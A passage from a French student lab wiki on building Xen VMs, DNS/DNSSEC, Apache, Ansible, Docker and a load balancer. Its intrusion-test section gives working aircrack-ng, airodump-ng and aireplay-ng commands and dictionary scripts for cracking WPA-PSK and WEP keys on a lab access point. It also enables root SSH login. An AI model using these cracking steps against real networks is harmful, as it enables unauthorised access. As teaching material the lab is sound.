Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51820</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51820"/>
				<updated>2019-12-16T17:04:33Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
